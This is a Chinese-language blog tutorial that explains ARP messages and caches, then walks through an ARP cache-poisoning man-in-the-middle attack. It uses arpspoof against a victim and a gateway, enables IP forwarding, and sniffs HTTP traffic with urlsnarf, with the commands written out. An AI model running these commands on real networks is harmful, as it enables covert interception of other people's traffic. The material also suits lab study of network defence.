zoukankan      html  css  js  c++  java
  • 利用arpspoof和urlsnarf 进行ARP嗅探

    地址解析协议 (ARP, Address Resolution Protocol) 是如何将网络设备的MAC地址和其IP地址关联起来的,这样在同一个局域网内的设备就能相互知道彼此的存在。ARP基本上就是一种网络上的点名。

    ARP,一个十分简单的协议,仅仅只包含了4种消息类型:

    1.  ARP请求。计算机A询问整个局域网,“Who has this IP address?” (“谁的IP地址是这个?”,英文为本来报文里的ASCII码消息,译者注)

    2.  ARP响应。计算机B告诉计算机A,“I have that IP. My MAC address is [whatever it is].” (我的IP地址是那个。我的MAC地址是[XX:XX:XX:XX:XX:XX])

    4.  反向ARP请求。和ARP请求的概念一样,但是计算机A询问,“Who has this MAC address?” (谁的MAC地址是这个?)

    4.  反向ARP响应。计算机B告诉计算机A,“I have that MAC. My IP address is [whatever it is]” (我的MAC地址是那个。我的IP地址是XXX. XXX. XXX. XXX)

    所有的网络设备都有一个ARP映射表,就是内存里的一小段存储着目前该设备已经匹配的IP地址和MAC地址对。ARP映射表确保该设备不会向它已经通讯过的设备重复发送ARP请求。

    arpspoof是Arp缓存中毒攻击,Arp嗅探的工具。常见的其他的也有Ettercap等。默认网卡eth0。也可以不指定。

    # arpspoof -i eth0 -t victim gateway  #欺骗目标主机以为我们是网关
    # arpspoof -i eth0 -t gateway victim  #在一个单独的shell里执行这个命令,欺骗网关相信目标主机
    # echo 1 > /proc/sys/net/ipv4/ip_forward   #启动IP转发,使得目标主机可以通过你的主机连到网关,否则目标无法上网

    然后可以用urlsnarf嗅探目标主机的http传输数据。tcp port 80 or port 8080 or port 3128。

    urlsnarf -i eth0

    先执行 bash0的,再执行bash1的命令。然后等个30s-1min欺骗成功,然后再执行bash2的嗅探http数据。

  • 相关阅读:
    Google调试技巧总结
    Reorder List -- leetcode
    Java回合阵列List
    他们控制的定义(2.3):SurfaceView和SurfaceHolder
    ImageView建立selector在录音中遇到的小问题及解决方案
    cocos2d 简单的日常高仿酷跑游戏
    Xcode的小标记旁边的文件的名称的作用
    c++中的对象引用(object reference)与对象指针的区别
    UIColor深入研究(CGColor,CIColor)
    UIImage图片处理
  • 原文地址:https://www.cnblogs.com/im404/p/4460635.html
Copyright © 2011-2022 走看看